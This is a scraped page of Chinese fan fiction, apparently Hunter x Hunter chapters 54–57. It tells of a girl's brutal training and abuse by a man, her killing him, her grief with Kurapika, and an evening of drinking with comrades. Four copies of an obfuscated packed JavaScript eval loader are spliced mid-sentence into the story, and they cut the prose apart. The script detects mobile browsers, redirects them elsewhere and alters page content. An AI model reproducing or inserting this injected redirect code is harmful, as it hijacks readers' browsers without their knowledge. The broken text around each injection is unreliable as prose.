“不去感知疼痛,痛觉就不会存在了。”他收起刀,“现在,全力想着‘治愈’这个概念。” “好……” 维瑟拉特一点也不理解他的命令,只是除了照做没有别的选项。 可怖的刀伤在次日清晨痊愈。他又为她添上了新的伤口,开裂的皮肉于当天傍晚安然合拢。 在之后的早晨,他没有再拿出刀。 “去跑步吧。你一个人去。”他这么说。 为什么?好想问,可浑身上下曾经存在过的疼痛锁住了她的喉咙,她竟然只能说出一声卑微的“好”,脚步自顾自地迈开。 绕着山间奔跑,不愉快,也不轻松。这里一点也不会让她想起家,她向前的理由只不过是想要活下去,想要回家罢了。 什么时候才能回去呢?好想妈妈,好想大家……那一晚就不该乱走的,她只想回家。 当然,等到回到男人的面前,“想家”的念头也不能留在心里。被他发现又会挨打。维瑟拉特甩甩脑袋,翻过围栏,走进道场。但谁也不在,过分寂静的此地,除了她的喘息声,就只有铲动泥土的声音了吧。 有种不那么好的预感。 维瑟拉特不想循着声音而去,可脚步自顾自地前进。后院出现在眼前,她看到男人在挖坑。 他的脚边,躺着死去的至今都不知姓名的伙伴。他们的血浸透了大地。 54.我要x活下去x然后回家 “只知道站在那里干什么?快点过来帮忙。” 男人是笑着对维瑟拉特说出这话的,在今天之前她从没想过此人不饿哦焊死的嘴角竟然也会有松动的一天。她感到难以置信,不敢认为他此刻看起来心情很好的外表是真实的存在。 肯定只是看错了。怎么会有人在尸体旁发笑?绝对是错觉。 维瑟拉特在心里对自己这么说。她一点都不想动,也不想顺从他的指令。可以的话,她想吐,胃里早就已经翻江倒海,这个专职消化的器官现在像是在殴打她的心脏。 想做的事情当然做不了,在男人的面前,她根本不可能随心所欲。反倒是不情愿进行的事情却莫名其妙动得很顺畅。她居然真的走过去了,像任何时候那样不会违背他的指令,一步一步踏在泥泞的地面上,好几次差点要滑倒。 “拿着。”男人把铲子塞进她的手里,话语一如既往带着不容抗拒的强硬,“走过来点,把我刚刚挖出来的坑再扩大一点,然后把两句尸体全部丢进去,用土埋起来,最后那铲子把地面压平压实。要是你搬不动这两个废物,把他们踹下去也无所谓。完成任务的方式不重要,重要的是你必须完成才行——记住这句话,你以后的人生中会无数次用到的。” 这个时候要说“好”。维瑟拉特知道的,可完全挤不出声音。她的手也动不起来,完全僵住了。 不行。做不到。她不想干。 一旦冒出这样的念头,不意外地一定会挨打。男人夺走铁铲,愤怒地对准她砸下来,差不多要把她的脑袋砸扁。他比任何时候下手都要狠。 “我叫你做什么,你就要做什么。这个道理还不明白吗?” 打人也是力气活,尤其是以他这般专心的态度,会累到气喘吁吁完全是意料之中的情况,他呼出的每一口粗重的气息都像是对维瑟拉特的失望。 “现在,问我‘为什么’。” 维瑟拉特蜷着身子,变形的大脑有点不太能够思考。她的血也融进泥土里了,如同大地曾经塑造她的身躯那般。 男人再度抡起铁铲。 “快点。” 啊啊,讨厌的疼痛又要落下来了,真的不想再痛了。 维瑟拉特颤抖不停,是恐惧感在作祟吧。但她还是嚅嗫着说出了他想要的为什么,尽管她连这话具体的诘问对象是什么都不知道。 没关系,男人会给出解答。 “因为他们是不如你的废物啊,所以没有留下来的价值了。” 他拍拍维瑟拉特的脑袋。 “你知道我像这样抚养过多少个孩子了吗?没有一个是能够成才的,大家都只是还算可以、但不够优秀的家伙,这种资质根本不够杀死揍敌客。但你不一样。难道你没有发现,你头上的伤已经好了吗?” 不,维瑟拉特没有发现。疼痛感根本没有消退,不遗余力地刺进身体的每个角落,连呼吸都像是折磨。 活下去,然后回家。活下去,然后回家。活下去,然后回家。 她只能这么告诉自己。 男人伸出手,轻轻拍打她的脸颊,笑得那么快乐,却也那么狰狞。 “我会让你变得越来越强的。作为交换,你必须杀死揍敌客,明白了吗?”他把铁铲丢过来,“现在,把废物们的尸体埋起来。” “……好。” 没有选择的余地,她知道自己只有一个选择。 活下去,然后回家。 在那之后,男人很常和她说起“揍敌客”这个概念。 尽管常常说起,透露的内容却不多,维瑟拉特不知道他为什么对揍敌客满怀恨意,只知道他似乎格外仇恨这个杀手家族。是因为自己的亲人被揍敌客杀死了吗?又或者是其他的怨恨? 每当思维像这样要发散出去的时候,她浑身都会刺痛起来,恐惧感如影随形。仿佛仅仅只是让思维扩散出去,都会招致毒打。想要活下去,或许只能局限住自己的思维了吧。 至少有一点,男人没有说错。他的确让她变得更强了。 维瑟拉特经常在此处山间的树上见到树瘤。在受到损伤之后拼命生长出来的这种愈伤组织,能够让树木变得更加坚固,足以抵御各种恶劣的未来,尤其是在这座天气恶劣的山,从天空倾泄下来的可能谁是猛烈的暴雨,或是足以劈断枝条的雷电。一年里偶尔有几回,林间会起火,熊熊燃烧的浑浊烟雾将天空一角熏黑,还好火舌从来没有舔到他们所在的地方。 对于维瑟拉特而言,她的狂风暴雨与天火是那个男人。当整个房子只剩下她一个孩子之后,他的教导愈发趋于狠厉。能力只要打磨就能精进,这是他遵守的信条。 和树木不一样,重重叠叠的伤口不会让维瑟拉特的身体变形,但无论多么可怕的伤口,最后都能痊愈,痛楚却还停留在完好无损的皮肤上,一定要缠绕许久之后才会舍得离开。 “别去感受!把你的所有感觉都封闭掉!” 他很不满她的懦弱,对于疼痛做出了畏惧的反应在他看来就是懦弱没错。 “把你对痛觉的感知丢掉,然后站起来。否则你无法杀死揍敌客。” 怎么可能不忽视掉痛觉呢……这不可能啊。维瑟拉特好想反驳,却根本说不出任何自己的想法。如同待在脖颈上的项圈,她的思维已经被禁锢住了。 无论如何,最终还是做到了。 她无视了疼痛,于是痛楚再也不会折磨他,感情也被彻底压制。回过神来才发现,自己居然也不存在恐惧感了。 爱、快乐、悲伤、回忆。都是一样。 似乎好多好多东西都伴随着不再感知到的痛觉消失了,但无所谓。 她要活下去,然后回家。 她麻木地把煎过的某种食肉野兽的腹肉塞进嘴里,坚硬的经络被嚼得绷绷响。她没怎么专注在品尝味道上,明明在这里,只有在吃饭这一件事上,他不会亏待她。 “人一直都在剥夺着其他的生命,所以才能活下去。吃得好才能变得更强、活得更久。战斗也是一样。”他在吃饭时絮絮叨叨,愈发往老年人的模样迈进,“你要和强大的人对战,这样才能变强。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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三年前的土坑早已被时间压平,崭新填上的坑洞如此刺眼。还有他衣服上的血迹,脏兮兮。 多少能猜出发生了什么事。维瑟拉特平静地站在那里,对于可能的现状,她并没有冒出该有的感觉。 她并未在感知这一刻的情绪。 “回来得太晚了。”男人气喘吁吁地骂她,“把猎物给我。” “好。” 取下背篓,交给男人,重新回到屋里。他忽然叫她过去,把桌上的眼镜丢给她。 “弄碎,丢掉。这里用不着这种东西。” 眼镜冷冷地躺在她的手心里。维瑟拉特垂下眼眸。 “好。” 她一脚踩碎了眼镜,拾起碎片,埋进后院的地里。 谁死了,其实无所谓。她并不关心,某人的死亡不会触动她的任何情感。她只知道自己能够活下去就好了。 活下去,然后回到家。她会回家的,她一定会。回到族人们都在的她的家之后,她要…… “你知道我要做什么吗?我要向爸爸妈妈道歉。” 春日的夜晚,紧紧缠住男人的脖颈,将刀刺进了他的胸膛的时候,维瑟拉特对他说。 55.复仇戏x全力x你的期待 活下去,回家,见到父母,向他们道歉。 “你知道我会怎样对他们怎样道歉吗?我要告诉他们我不该被梦驱使着离开家。我还要告诉他们,我被野兽叼回巢穴了。很有趣吧?肯定很有趣,他们会笑的。但我做不到了,至少没办法对爸爸做出这一切。你杀了他,对吧?” 维瑟拉特旋过刀柄,她为那个男人造成的伤口愈发扩大。听到了他的闷哼,心里照旧没有感觉到痛快。她只是在说话,一刻不停地接着说。 “我知道的,我知道你把爸爸杀死了,我只是什么都没表示而已。这就是我要杀了你的原因,怪你自作自受。而我会活下去,然后回家。” 回到久久未归的家。 对了,离开家究竟有多久了?她不知道。 山间小屋没有日历,维瑟拉特未曾对度过的日子计数。也可能在某一段时期,她有在满怀期待地记着日子,只是她已经忘记了还有那样的时候罢了。 当维瑟拉特绞住男人的脖颈时,她久违地开始思考自己在此地度过的时间,最好的计数方式就是追忆自己度过的季节。 山间四季分明,春季就像所有人认知中的那样,温暖而潮湿,所有树都会开始开花,从山下浮起的雾气蒙住地面,露水将泥土润得泥泞。春天还是很不错的。现在已经是她留在这里的第三个春天了,依稀记得她的生日好像也在春日,倘若已经度过了生日,那自己现在就该十三岁了。 而现在也一定会是她漂流至此的最后一个春日。所以她才会说,春天很不错。 “你想杀了我吗?哈?” 男人发出恐怖的冷笑,猛得一拧身子,把她砸到地上。 “你的梦话该结束了。” 一点也不疼,连血都没冒出来。 维瑟拉特抄起预先摆在桌子下方的榔头,直接抡到他的头上。 依旧在成长的她,已然走在老去之路上的他。 岁月的差距不容忽视。 “上一个秋天,你杀掉的那个人是我爸爸。”她再次砸下榔头,“我刚刚和你说过了,我知道这件事。” 面对如此直白的话语,他已经梗着脖子,面孔狰狞起来,露出一副失望透顶的表情,却还是要冲她笑,不知是何种心情在作祟。 “没错,就是我。我当然知道你知道,我还以为你不在意呢。毕竟你是个连感情都被我磨灭了的、由我亲手做出来的怪物!” 他发出尖笑。 “你知道那家伙找过来的时候,是多狼狈一副模样吗?可怜巴巴,像个流浪汉,话都说不明白了,拿着你的照片问我有没有见过这孩子,名字叫维瑟拉特,还说他现在只有你了。什么维瑟拉特?我不认识叫这个名字的人!真好笑。还死皮赖脸地非要让我收留他住一晚。可能吗?碍事。所以就把他杀掉了。” “疯子。” “我的错吗?他不找过来就不会死了。倒是真亏他能找到这种地方。我可没有骗他,我是不认识维瑟拉特,被我养育的你只是个没有名字的存在罢了。” “不是。” 她一锤一锤砸下去,无比冷静。 “我有名字。我有名字。维瑟拉特就是我的名字,从此以后不准你再剥夺我的自我,我不是被你养育的任何人。” “不,你是没人要的红眼睛的废物!所以我捡到了你!” “不是。” “你的父母把你抛弃了,水流把你送到了我这里!” “不是!” “我都已经把你的心脏摘掉十次了,你还能愈合吗?呵……你是不是以为你是不死的?但我知道怎么杀死你。” 在维瑟拉特捶打他的时候,他也在进行着自己的行动。他们都在不遗余力地杀死对方,而且都只差一步了。 人这种生物,就是要夺走其他的生命,以此延续自己的性命。只有这一点他是正确的。 “你觉得自己到底还能愈合多少次?我告诉过你的,你的愈合能力本质是因为你的气是一个完整的整体,只要身体出现破损,气就会把损坏的□□重新构筑成原本的状态。但如果气全部用光了怎么办,你想过这种可能性吗?” 他再次给予致命伤,却做出了痛苦的表情,一定不是因为维瑟拉特把折断的木棒捅进了他的身体里。 “真可惜,你明明是我这数十年来遇到过的最有天赋的孩子了。但也没事,我还会找到下一个孩子培养的。” 这一定就是她最后的一次治愈了,男人确信着,因为她停下了动作,连瞳孔都在缓慢扩散。 真可惜。一把锋利却不趁手的刀。 男人把她扛起来。 又要挖新的坑了,真麻烦。 爆炸声和他的思绪一同出现。有碎骨头刺进了他的身体里,肩上的重量却消失了。他吃痛地往旁边躲开,视线扫过四周,却只看到了自己被炸碎的半个身体。 一双手——还没成长为宽阔手掌、但已经足够有力的少女的手,环上他的脖颈,亲昵般搂着他,却一点一点收紧。 “你说得对。”维瑟拉特点着头,第一次很认同他的话语,“是一体的气把我的破碎的身体重新联结起来的,要是用完了,我就没办法再愈合了。‘愈合’的行为是气向内收拢,杀不死你的话我就算一直愈合也只是在消耗资源罢了。既然这样,我把气往外扩散不就好了?这样就是有效的浪费了。别担心我的气用完。等你死了,我会拿走你的气。” 十指收紧,呼吸声变得逐渐尖细,他仅仅只是做出了呼吸的动作,却已经汲取不到空气了。 会死的那个人是他。无需思考也足够得出这个结论了。 “揍敌客!” 已经无法喘息的腹腔艰难地挤出最后的话语。如果一定只能面对这种他死去而她活下来的结局,其实也无所谓。更重要的是—— “杀了揍敌客,你可以的!现在的你可以!维瑟拉特!你要——” 维瑟拉特拧断了他的脖子,歇斯底里的话语停下了。 活下来的那个人是她。 她可以回家了。 “但是,最后还是没能回到家。” 维瑟拉特捧着母亲的眼睛,不知从哪一秒开始,已经觉得疲惫得不得了,缩着身子,坐在地上。酷拉皮卡就坐在她的旁边,静静听她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145365|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出回想起的一切。 而回忆停在了这里。 “在那之后的事情,对我来说很模糊。我不太知道自己是怎么离开那座山的,只知道我确实走出去了。再之后又到什么地方去了?我想不起来。”她的指尖不停摩挲着玻璃罐的表面,许是眷恋在作祟,抚摸的小动作一刻都停不下来,“很奇怪的是,我也完全不知道我曾那么强烈地怀有‘活下去,然后回家’的念头,至少这几年我从没有这么想过。我也没那么想要活下去,我只知道我不会死。而且……也没有能回去的家了。” 有重要的人在的地方才能够被称作为家。维瑟拉特离开得太晚了,在她走出深山的数月之前,窟卢塔灭族已然发生,家在那天消失无踪。 总是这样。只用平淡的话语,就足够描绘出痛楚的现实。失去了家的他们的人生,自此之后就是这种仿若理所应当般无法被宣扬的痛苦。 酷拉皮卡垂下手,轻轻触碰她。冰冷的体温相接。 “你活下来了,我也活着,所以我们才能重逢。无论如何,至少这是值得让你和我高兴的事情。或许在之后的很久,我都会依赖着这点微小但实的快乐活下去。” 他说着,就像是为了佐证自己的说辞,很忽然的笑了一下。 “小维,未来你一定会组建自己的家。你活下来了,你也会回到你的家。不用再害怕了,继续怀着这份期待吧,好吗?” 当酷拉皮卡说起未来时,他说到的永远只有她而已。她的以后会安全安心,她的未来会自由而幸福。 她呢? 维瑟拉特试着回忆——尽管对最近几个月里发生的事情记得不那么清楚了,可她还是在尽力回想,回想着酷拉皮卡曾经说到过的关于他的未来的构想或是计划,却只是找到了空无一片。 她记不起来了,酷拉皮卡也不曾说起过。 未来没有他的一席之地。 维瑟拉特苍白地张了张嘴。酷拉皮卡,你的期待是什么,我说的是在收回所有眼睛之后的你会怀有的期待?她想这么说的,可说不出口。 他把什么都揽到自己的身上,为此无论做出怎样的行动,好像都是合理的。过多的问询听起来一定会像是对他的指手画脚。这可能就是她没能把心中的想法吐露出来的原因。 她抿紧了唇,点点头,尽管她并不那么认为自己能够组建一个属于她的家。 如果在乎的人所在的地方就是家的话,那么…… “为什么一直在看我?”酷拉皮卡很费解,但还是笑着这么说的。 “没事。” 她完全没有收回目光。倒不至于让人觉得不自在,只是酷拉皮卡真的有些困惑罢了。 “是累了吗?” “我不累。” 不是谎言,也绝非逞强的话语。维瑟拉特只觉得大脑和躯体一样轻盈,如同突破了某种屏障一般。 “我还想在这里待一会儿。”她说,“可以吗?” “嗯。如果你不介意,我可以在这里陪着你。” “谢谢。” 在未来到来之前,她想,她还会继续留在这个家里。 56.点灯x小聚会x酒精问题 听到有谁正敲打房门的时候,维瑟拉特还窝在床上睡觉。 在日光都快要落下的下午四点还在呼呼大睡,这可绝对不是什么值得称赞的事情,即便以维瑟拉特前一晚完全没睡(在那个本该睡觉的时间她既和酷拉皮卡吵了架还跟着他一起去了地下室的祭坛,把夜晚时间变得如此忙碌真的很抱歉)作为理由,也多多少少显得不那么值得让人信服。 难道午后猛烈的阳光也没能叫醒她吗?肯定会有人提出这样的疑问。 很可能就是为了对这个疑惑做出解答,维瑟拉特才会用被子蒙住脑袋,呼吸着被窝里暖烘烘但稍稍有点氧气稀薄的空气,睡得倒是比任何时候都要更加安稳,沉在摸不透也看不清的梦境之中,直到有人敲响了她的房门。 敲门声拢共响了两回,每次都是很轻柔的声响,分外礼貌。最初响起时,维瑟拉特还以为是梦里传来的声响,尽管她的梦里一扇门都没有出现过。 直到第二次的敲门声响起时,维瑟拉特才意识到这是现实世界传来的声响,立刻从被窝里弹了出来,完全没有注意到自己的头发变成了乱蓬蓬的一团,光顾着赶紧去开门了,光脚踩在木地板上的寒意也是在停住脚步之后才传过来的,只好踮起脚尖,这样就能不那么冷了。 “下午好。”旋律对她笑着,一如既往的好温柔,“你刚才在睡午觉,对吧?不好意思,打扰到你了。” 其实她原本的计划是,如果敲两次门之后维瑟拉特都没有来开门的话,她就会立刻识相地离开。 恰好就在她准备后退的时候,门被推开了。深红色的脑袋像这样出现在了眼前,冲她摇了摇。 “没事,我没有被打扰到。” 维瑟拉特抓抓后脑勺,终于摸到自己头顶上的这团鸡毛掸子了,但她依然不觉得这有什么。 “我也没有在睡午觉。我只是在……”她的视线往天花板上不确信地扫了一圈,给出了一个很不自信的答案,“在正经地睡觉?” “昨晚没睡吗?” “嗯。” 前一个夜晚全都是在祭坛前度过的,捧着妈妈的眼睛的时候她好像什么事情都没有想,当然也不曾冒出过胡思乱想,一直到施工时间即将开始的时候才站起来,帮着酷拉皮卡一起把火红眼搬进仓库。回到房间的时候她也没有觉得疲惫或是困倦,坐下的时候却睡着了,一直睡到现在为止,所以才直到下午四点钟依然躺在床上——这么想的话,她睡到现在似乎也是很正常的事情了。 “接下来的计划是继续睡觉吗?”旋律很体谅地问她。 “不知道,可能不睡了。”维瑟拉特歪过脑袋,一点一点开始梳理头发,“醒过一次之后就很难睡着了。” 旋律还是觉得不好意思,“真抱歉,果然还是打扰到你了呢……” “没事,我本来也已经睡够了。” “也就是说,你晚上没有什么安排了,是吗?” “嗯。” 没有工作也没别的事要干,就算旋律不敲响她的房门,接下来的事情她也会在无聊的发呆中度过。 旋律对她清闲的日程安排很高兴。 “晚上要一起出门吗?”她问,“昨天一起突入兰格雷家的伙伴们说,想要去教堂为去世的伙伴们点支蜡烛,他们希望你也能一起去。” 教堂啊……教堂在哪里来着?完全没印象,看来到时候只能踩着别人的足迹前进了吧。维瑟拉特这么在心里想着,点了点头。“好。”她没怎么犹豫,这也不是什么值得犹豫的事情,“我会去的。” “太好了。” 旋律笑了起来,眼眸很可爱地眯着。 “其实,他们本来是想要直接来邀请你的,但可能是很害羞吧,担心自己还没有和你很熟悉,你可能会拒绝他们的邀请,可又真的很希望你能来,所以就派出我来帮忙了。” “是嘛。”维瑟拉特习惯性地挠头,“就算他们直接来问,我也会答应的。” 毕竟她也有没别的事情可干。 “我也是这么说的,但他们可能也有自己的顾虑吧。无论如何,大家好像都很喜欢你哦。” “……好。” 在听到旋律这么说之前,维瑟拉特并不觉得自己被什么人喜欢着——当然,也没有被讨厌。 她觉得自己的存在就是那种过分中立的、在喜爱或讨厌的天平上不会压下哪怕一寸重量的存在。今日的邀请,很可能是她的印象里鲜少被贴上了喜爱标签的一次,尽管她也不知道这份喜爱源于何处。 不管怎么说,晚上的安排是有着落了。 维瑟拉特把头发梳顺,按照一如既往的习惯,束起一小撮头发扎到侧边,抬起眼眸,第一次发现长长的刘海有些碍事,连视线都会挡住。 她把刘海撩起来。嗯,清楚很多了。可惜她没有夹子,手也不可能一直当刘海的放置器。还是找个时间去理发吧,尽管她完全想不起来上一次走进理发店是什么时候的事情了。 她在傍晚时分走出房间,顺着楼梯来到一层。大家应该是约好了要在门口见面的,维瑟拉特却没有朝大门的方向走去,而是继续向上,轻轻推开了办公室的门。 以前这里是莱特·诺斯拉的办公室,现在则属于酷拉皮卡了。 办公室的易主意味着什么呢?大家的心里都有数,并且谁都不会有意见——就连莱特·诺斯拉也一样。 维瑟拉特向门缝间投去目光,看到的是正在处理她不知道的某种公务的酷拉皮卡,一如既往忙碌的不像话,看来要在这把椅子上坐很久了。她有些纳闷。 “你还不出发吗?”她问。 酷拉皮卡看起来也很困惑,“今天要去什么地方吗?” “要去教堂为昨天死掉的人点蜡烛。” “哦——”他甩了甩没水的钢笔,“好像没人和我说起这事呢……” “旋律也没有吗?” “没有。”他很随性地笑了笑,“可能是因为我昨天没有实质性地参加你们在兰格雷洋馆的行动,所以没有被邀请吧。” “可能吧。” 维瑟拉特也没意识到其实自己可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148219|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邀请他一起去,在原地站了一会儿才说,她要出发了。 “嗯,路上小心。”酷拉皮卡和她说话的时候,百分之八十的时间都是笑着的,而现在就处在这百分之八十的时间之中,“早点回来。” “好。” 她轻轻地关上了门。到现在还是没意识到可以邀请酷拉皮卡一起去。 教堂就在几条街开外,用不着开车,走路就能抵达。上一场祈祷福音刚结束,挑高的天顶好像还回荡着神明的话语,嗡嗡的一直在响。神父分发蜡烛给大家,点燃后摆上祭坛。有人在哭,可能是去世的伙伴是他重要的人。但也有人握住了维瑟拉特的手。 “谢谢你。如果你没有找到我,我肯定也死在那里了。” 那个人好认真好认真地说。 在听到了他的声音之后,维瑟拉特才向他投去视线,看到了他被石膏层层裹起来的右腿。 昨天自己做了哪些事情,维瑟拉特有点想不起来了。那时盘踞在脑海中的仅是自我否定的恐惧话语,连眼眸也像是被蒙住,她几乎看不到周遭的一切,只是盲目地前进,盲目地行动。 但有人感激着她的行动,因为她拯救了本该死去的性命。真是罕见。 一直以来,她都只是在听从指令、做出掠夺的行为而已。主动地拯救了一点什么,对她来说,实在太稀罕了,也太…… 维瑟拉特回握住他的手。好温暖,漾着生命的温度。她一时不知道该说出怎样的话语才好了,只能一直一直握着这只手。 这个季节,天黑的很快,走出教堂时天已经彻底暗下去了,来时见到的落日彻底不见踪迹。大家挤进就近小酒馆的最后一个大桌子,闹哄哄地喝起酒来,欢声笑语装满高杯子。 总觉得,转换得好快。 维瑟拉特眨了眨眼。她感到不解。 刚才大家还在教堂里伤心得要掉眼泪,现在就能高高兴兴地喝酒谈笑了吗? 绝不是在批判这巨大的情绪差距或是怎样,她真的只是很困惑。她闯入这种有着鲜明情绪的场合之中的机会实在太少了。 “为了去世的伙伴悲伤,为了依然活着的自己而高兴,这并非是不能共存的情感哦。”早早听出了她的困惑,旋律为她解释,“人类是复杂的存在哦。” “好……”其实还不懂。 “未来,等你体会到的时候,就会明白了。” 维瑟拉特从来不会质疑旋律的话,只是还来不及给出回答,桌对面的伙伴已经把酒递过来了。 “您也来喝吧,维瑟拉特小姐!” 她赶紧接过,“好。” 看大家都是大口大口喝下去的,那她也照做吧……虽然这玩意儿又冷又苦。 杯子里的酒很快就降下了一半。旋律在这时候想到了一点什么。 “你和酷拉皮卡是同一年出生的,对吧?” 维瑟拉特打了个酒精味的嗝,“是的。” “也就是,今年十七岁?” “嗯。” “……那你还不能喝酒啊!” 57.未成年x海报x一次邀请 在大喊出“你不能喝酒”的同时,旋律以惊人的速度扑过来了,维瑟拉特第一次对她冒出了“真不愧是职业猎人身手就是不错”的评价。 这么想的同时,她端起酒杯,用着比旋律稍快一些的速度站了起来,酒杯里的液面几乎没有怎么颤动,旋律也扑了个空,害得整个场面都变得稍稍混乱了。 “你刚才说了什么?”维瑟拉特把耳朵递过去,“我刚才没有听清。” 小酒馆里的音乐声实在是太响了,一起过来吃饭喝酒的伙伴们也闹哄哄的,完全盖住了旋律刚才的那声高音量大喊。 不过,这会儿倒是不用担心会听不见了,背景音乐刚好播放到平缓的结尾处,同伴们也因为旋律出乎意料的夸张动作而惊得中断了话语,现在肯定是无论说什么都可以被听到的最佳场合了。 大幅度的动作难免累人。旋律喘了几口气,赶紧把手搭在维瑟拉特的手腕上。“未成年不能喝酒!”她匆匆忙忙地把这条至关重要的规则重复了一遍。 毫不意外,大家都露出了相当惊讶的面孔——他们怂恿维瑟拉特喝酒可不是为了打破未成年保护法,而是一直以来他们都把她当做同龄人,以为她只是长着一张太少年气的脸而已。 这么看来,这张桌子上显得最冷静的人,就只有维瑟拉特而已了。她重新坐回到自己的椅子上,一副迷茫的表情。 “是嘛。”她第一次听说这种事,理所应当地丢出一句,“为什么?” “原因貌似有不少。”旋律整理着自己在这件事上的认知,想了想才掰着手指和她解释,“首先,未成年饮酒会对身体和器官的成长造成影响,大脑也会受到损伤。其次,未成年人缺少自控力,很容易饮酒过度。喝太多酒的话会酒精中毒哟,这可是很危险的!” 必须承认的是,旋律确实有稍稍将后果描述得恐怖了一点,目的当然也是为了让自己夸张的制止动作显得合理一些,顺便为维瑟拉特树立靠谱的饮酒价值观——想也知道,以前肯定没有人和她说过这种事。 其实她再把后果说得更可怕一点也没关系,不管怎样维瑟拉特都不会做出更多表情的。从头到尾,她都认真地睁着一双眼睛,很认真地听她说话,可惜这双眼睛里看不见那种被打动的感觉,只有纯粹对于未知事物的学习而已。 听旋律说完之后,她还会点点头,应上一句“我明白了”。 “可是。”话语说到这里稍稍转折了一下,维瑟拉特把手中的酒杯举高了一点,“我已经喝了,该怎么处理?” “这个嘛……”这个旋律倒是还没想过,只能从现在开始琢磨对策了,“催吐的话好像显得有点太夸张了,而且胃酸也会伤害喉咙……现在酒精已经被身体吸收了吗?红薯烧酒的度数好像不低呢……嗯……” 旋律的脑海中天人交战,维瑟拉特和其他所有人都在等待着她的决定,以连气氛都显得严肃了好多,他们的桌面仿佛是小酒馆最死气沉沉的一角。总让人觉得压力好大。 两分钟又三十六秒后,旋律做出了决定。 “喝都喝了,暂且就这样吧。身体应该会好好地把这点酒精代谢掉的。” 好嘛,既然这样的话,就没什么需要担心的了。 大家瞬间松懈下来,嘻嘻哈哈也回到了台面上。又是一轮红薯烧酒传下去,大家的意识都被融化得更多了。 有人问维瑟拉特什么时候过生日,她想了想说,可能快了吧。 可能?为什么是可能呢?对方搞不懂,一个如此客观存在的日期,怎么会套上模棱两可的说辞。但维瑟拉特到现在都还没想起来自己的生日在哪一天,她记得的部分是自己是在春天出生的。 “春天的话,不是马上就要到了嘛。过了生日就是成年人了。” “是嘛。” 原来成年人的分水岭是十八岁啊。这个最基本的知识现在终于落进维瑟拉特空空的大脑里了。 有人提着酒瓶靠过来,一下子和她肩膀贴着肩膀,“那也能喝酒的嘛!反正就差没几个月了。” 维瑟拉特挺直了后背,撑起伙伴歪歪扭扭的身体,想也不想地说:“旋律说不行。” 正在用叉子戳着盘子里最后一块薯角的旋律悄无声息地扬起了嘴角。对维瑟拉特的教育得到了翔实的成果,她很欣慰。 “可你刚才也喝了嘛。没事的,没事的。”人总在怂恿的时候创意十足,什么话语都能搬出来,“况且,就只是几个月而已嘛,这一年马上就要过去了。难道区区一百天能造成什么鲜明得不得了的区别吗?” 维瑟拉特思考片刻,“我觉得不能。” “所以就喝嘛!要是只有你一个人不跟着大家一起喝酒,肯定都没办法和我们一样高高兴兴的了。” 维瑟拉特固执己见,“旋律说不行。” “但你喜欢喝酒吗?喜欢的话就喝嘛。不是这么说吗,规则是用来打破的。” “……” 一方面是某人极力地劝说她做什么事,一方面又是某人极力地让她不要这么做,维瑟拉特觉得自己的行事方针都要动摇了,完全不知道该怎么选择才好。 肯定是感觉到了她摇摆的心跳声,旋律轻轻地碰了碰她的后背。 “就按照你的想法做吧。你也不是非要按照别人的指示做事才行。”旋律在她耳边说,放轻的声音比任何时候都要显得温和柔软,“虽然这话现在已经变得有点土气了,但我还是想说,你是自由的。你可以做出任何你想要的决定。” “……好。” 有时候,旋律说的话和酷拉皮卡很像呢。为什么会有这份相似呢? 维瑟拉特还不能明白,这是“爱”驱使的结果。但不管怎样,她确实将旋律的话听进心里了。 如果要依照她的想法进行选择,那么…… 维瑟拉特重新拿起酒杯,小声拜托旋律,请她稍后多留意一下自己。 “我还记得的事情是,喝醉酒的人会变得很麻烦,也会闹出一大堆糟糕的事情。我不想这样。”维瑟拉特很认真地说,“所以,接下来就拜托你了。” “嗯,交给我吧。”旋律忽然轻笑了起来,“不过,我觉得你不是那种很容易喝醉的家伙哦,一定也不会发酒疯的。不用太担心。” 旋律说这话的语调充满确信,反而让维瑟拉特有些茫然。“为什么?” “因为我对你很有信心。” 好让人安心的话语,仿佛什么都能兜住。 就是有点可惜,旋律的信心得丢掉一点了——维瑟拉特结结实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152433|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实地喝醉了。 无论是涨得绯红的脸颊,还是走起路来总是会不自觉向前倾斜的身子,又或者是慢半拍的反应速度,无一例外的都是她彻底被泡进酒精里的事实。但旋律的信心多少还能保留一点,因为维瑟拉特完全没有发酒疯。 她就是这么安安静静地喝醉了,被旋律拉着走出小酒馆。 要回家咯。大家很欢乐地说。 